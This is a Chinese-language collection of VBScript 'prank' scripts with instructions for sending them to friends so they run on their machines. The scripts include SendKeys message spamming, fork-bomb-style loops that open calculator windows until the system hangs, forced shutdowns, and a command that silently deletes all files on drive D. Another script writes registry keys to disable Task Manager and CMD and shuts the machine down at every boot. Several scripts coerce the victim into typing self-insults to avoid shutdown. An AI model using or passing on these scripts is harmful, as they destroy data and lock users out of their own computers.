整人代码大集合-多年的代码收集

精品文档 1欢迎下载 vbs 整人代码大集合 多年的代码收集 详细出处参考 vbs 整人代码大集合 收集的比较全 喜欢的朋友可以参考下 不要搞破坏 学习 vbs 的 朋友非常有帮助 死循环的使用比较多 一 你打开好友的聊天对话框 然后记下在你 QQ 里好友的昵称 把下面代码里的 xx 替换一 下 就可以自定义发送 QQ 信息到好友的次数 代码里的数字 10 改一下即可 xx vbs 复制代码 代码如下 On Error Resume Next Dim wsh ye set wsh createobject wscript shell for i 1 to 10 wscript sleep 700 wsh AppActivate 与 xx 聊天中 wsh sendKeys v wsh sendKeys i wsh sendKeys s next wscript quit QQ 骚扰信息 也可以用在其它程序上 二 我就用这个程序放在学校图书馆查询书刊的机器上 好多人都那它没办法 哈哈 do msgbox You are foolish loop 三 打开无数个计算器 直到死机 set wsh createobject wscript shell do wsh run calc loop 四 直接关机 dim WSHshell set WSHshell wscript createobject wscript shell WSHshell run shutdown f s t 00 0 true 五 删除 D 所有文件 dim WSHshell set WSHshell wscript createobject wscript shell 精品文档 2欢迎下载 WSHshell run cmd c del d f q s 0 true 六 不断弹出窗口 复制代码 代码如下 while 1 msgbox 哈哈 你被耍了 loop 七 不断按下 alt f4 开什么都关闭 复制代码 代码如下 dim WSHshell set WSHshell wscript createobject wscript shell while 1 WSHshell SendKeys F4 loop 八 按 500 次回车 以上代码在运行者的电脑上显示 500 个对话框 其中 do until s 500 500 可以随意更 改 复制代码 代码如下 dim s do until s 500 s s 1 msgbox 哥们 给我按 500 次回车吧 64 loop 九 关不掉的窗口 复制代码 代码如下 WScript Echo 嘿 谢谢你打开我哦 我等你很久拉 TSName WScript Echo 你是可爱的小朋吗 WScript Echo 哈 我想你拉 这你都不知道吗 WScript Echo 怎么才来 说 是不是不关心我 WScript Echo 哼 我生气拉 等你这么久 心都凉啦 WScript Echo 小强很生气 后果很严重哦 WScript Echo 嘿嘿 你也会很惨滴哦 WScript Echo 是不是想清除我 WScript Echo 那你要点上 50 下哦 不过会给你惊喜滴 WScript Echo 还剩 49 下 快点点哦 WScript Echo 还剩 48 下 快点 小笨蛋 精品文档 3欢迎下载 WScript Echo 还剩 47 下对 就这样快点点 WScript Echo 还剩 46 下 你啊就是笨 要快哦 我先不打扰你工作 WScript Echo 还剩 45 下 记得要快哦 WScript Echo 还剩 43 下 WScript Echo 还剩 42 下 WScript Echo 还剩 41 下 WScript Echo 还剩 40 下 WScript Echo 还剩 39 下 WScript Echo 还剩 38 下 WScript Echo 还剩 37 下 WScript Echo 还剩 36 下 WScript Echo 还剩 35 下 WScript Echo 还剩 34 下 WScript Echo 还剩 33 下 WScript Echo 还剩 32 下 WScript Echo 还剩 30 下 WScript Echo 还剩 29 下 WScript Echo 还剩 28 下 WScript Echo 还剩 27 下 WScript Echo 还剩 26 下 WScript Echo 还剩 25 下 WScript Echo 还剩 24 下 WScript Echo 还剩 23 下 WScript Echo 还剩 22 下 WScript Echo 还剩 21 下 WScript Echo 还剩 20 下 WScript Echo 还剩 19 下 WScript Echo 还剩 18 下 WScript Echo 还剩 17 下 WScript Echo 还剩 16 下 WScript Echo 还剩 15 下 WScript Echo 还剩 14 下 WScript Echo 还剩 13 下停停 慢点 我有话要说 WScript Echo 还剩 12 下 你继续点我就会消失滴 WScript Echo 还剩 11 下 以后就看不到我拉 555555 WScript Echo 还剩 10 下 你现在可以选择停止 WScript Echo 还剩 9 下 你还点啊 不要我拉 WScript Echo 还剩 8 下 有点伤心拉 干嘛丢弃人家 WScript Echo 还剩 7 下 疯了 你有点负意 WScript Echo 还剩 6 下 对 你就点吧 我恨你 WScript Echo 还剩 5 下 不明白 删除我你就好吗 WScript Echo 还剩 4 下 真要删除我 WScript Echo 还剩 3 下 可是我真的很眷恋你 WScript Echo 还剩 2 下 不要这么绝情嘛 人家是爱你的 精品文档 4欢迎下载 WScript Echo 还剩 1 下 哼 既然你这么绝情 也别怪我无义 WScript Echo 我本因该消失的 不过我留恋你滴芳容 上帝又给了一次机会 WScript Echo 想结素我么 那你就再多点一次 WScript Echo 想结素我么 那你就再多点一次 WScript Echo 想结素我么 那你就再多点一次 WScript Echo 想结素我么 那你就再多点一次 WScript Echo 想结素我么 那你就再多点一次 WScript Echo 想结素我么 那你就再多点一次 WScript Echo 想结素我么 那你就再多点一次 WScript Echo 想结素我么 那你就再多点一次 WScript Echo 想结素我么 那你就再多点一次 WScript Echo 想结素我么 那你就再多点一次 两个整人的 VBS 脚本 2009 07 16 18 16 文章录入 7747 Net 责任编辑 7747 Net 564 字体 小 大 测试环境 Windows 2003 系统 大家好 我是 Vanlisa QQ137841986 今天给大家带来两个整人的 VBS 脚本 希望大家喜欢 VBS 脚本大家都知道吧 第一个是定时关机的 如果把他发给你的 QQ 好友 他不懂的话 如果不输我是猪 电脑就会在你设定的 时间内关机 我设置的是 3 分钟 只要输入就解除了 当然如果不输的话也有解除的办法 我们来看下这个脚本 复制代码 代码如下 on error resume next dim WSHshellA set WSHshellA wscript createobject wscript shell WSHshellA run cmd exe c shutdown r t 180 c 说我是猪 不说我是猪就一分钟 关机 不信 试下 0 true dim a do while a 我是猪 a inputbox 说我是猪 就不关机 快撒 说 我是猪 说不说 8000 7000 msgbox chr 13 chr 13 chr 13 a 0 MsgBox loop msgbox chr 13 chr 13 chr 13 早说就行了嘛 dim WSHshell set WSHshell wscript createobject wscript shell WSHshell run cmd exe c shutdown a 0 true msgbox chr 13 chr 13 chr 13 哈哈哈哈 好乖 新建一个记事本 把上面的代码复制进去 另存为 VBE 格式的就可以了 精品文档 5欢迎下载 cmd exe c shutdown r t 180 c 这里的数字可以修改关机时间 180 秒 这些文字也可以自设 这个脚本启用 cmd 里的关机程序 如果不输的的话 可以打开任务管理器 输入 shutdown a 来解除 我们试下 这时定时关机 已 经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉 Wscript exe 这个进程就 OK 了 这时就完全解除这个脚本了 Wscript 时 Windows 脚本宿主 下面看第二个整人的脚本 复制代码 代码如下 set ws createobject wscript shell call shutdown 1 do while a 我是猪 a inputbox 快在下面的框框里输入我是猪 否则后果自负 快输 我是猪 输不输 loop call shutdown 2 msgbox 早说就行了嘛 4096 64 msgbox 再输一遍我是猪 4096 64 msgbox 我是猪 4096 64 MsgBox 最后一次 4096 64 MsgBox 如果你很快的点过去 不看的话 4096 64 MsgBox 我就要你踩我空间的 哼 4096 64 MsgBox 从前有座山 4096 64 MsgBox 山里有个庙 4096 64 MsgBox 庙里有个老和尚在讲故事 4096 64 ws run iexplore exe msgbox 哎呀累了 数绵羊哄我睡觉 4096 64 for i 1 to 100 MsgBox i 只绵羊 4096 64 next msgbox 哎呀我困了 这次就饶过你吧 下次注意哦 4096 64 msgbox 最后问个问题 我是不是大好人 4096 64 if inputbox 是不是 请选择 是 是 then call shutdown 1 end if sub shutdown s select case s case 1 ws run cmd exe c shutdown r t 60 c 0 精品文档 6欢迎下载 case 2 ws run cmd exe c shutdown a 0 end select end sub ws run iexplore exe 这段代码可以改成你自己设定的地址 如果别人不输我是猪的话就会一直点下去 点到你设定的数字 for i 1 to 100 从 1 到 100 可以改成 20 其他的数字 解除这个 VBS 脚本的办法就简单了 只是关掉任务管理器里 Wscript exe 这个进程就好了 BY 2009QQ 整人代码 复制代码 代码如下 set s createobject wscript shell set bag getobject winmgmts root cimv2 set pipe bag execquery select from win32 process where name wscript exe For Each id in pipe if instr 1 mandLine wscript scriptfullname 0 and pipe count 2 then s regwrite HKCU Software Microsoft Windows CurrentVersion Policies System Disab leTaskMgr 0 REG DWORD s regwrite HKCU Software Policies Microsoft Windows System DisableCMD 0 REG D WORD id terminate else s regwrite HKCU Software Microsoft Windows CurrentVersion Policies System Disab leTaskMgr 1 REG DWORD s regwrite HKCU Software Policies Microsoft Windows System DisableCMD 1 REG D WORD for i 1 to 60 s popup 系统将在 60 i 秒后关机 1 系统提示 4096 48 next Set colOS GetObject winmgmts Shutdown ExecQuery Select FROM Win32 OperatingSystem For Each eOs In colOS eOs Win32Shutdown 2 Next end if 精品文档 7欢迎下载 Next color FF0000 复制以上代码 在桌面建一个文本 把代码放进去 另存为 VBE 格式 此代码的威力 1 开机就强制自动关机 2 cmd 命令打不开 3 结束任务不管用 4 F8 安全模式也不管用 呵呵 听起来是不是有点恐怖啊 我在我朋友空间里看见也吓了一跳 代码破解方法 就是再运行一次 就可以破解了 也就是第 2 次保存的那个 VBE 文件 PS 不要乱拿软件去整人 发生什么事可不要怪我啊 拍拍手 顶起吧 2 复制代码 代码如下 on error resume next dim WSHshellA set WSHshellA wscript createobject wscript shell WSHshellA run cmd exe c shutdown r t 60 c 说你是傻 B 我是天下第一大傻 B 不说宝宝 我是天下第一大傻 B 就一分钟关你机 不信 试试 0 true dim a do while a 宝宝 我是天下第一大傻 B a inputbox 宝宝 我是天下第一大傻 B 就不关机 快撒 说 宝宝 我是天下第一 大傻 B 说不说 不说 8000 7000 msgbox chr 13 chr 13 chr 13 a 0 MsgBox loop msgbox chr 13 chr 13 chr 13 早说就行了嘛 乖乖 dim WSHshell set WSHshell wscript createobject wscript shell WSHshell run cmd exe c shutdown a 0 true msgbox chr 13 chr 13 chr 13 宝宝是不是又帅啦 这代码是我从朋友那拿来的 大家可以试着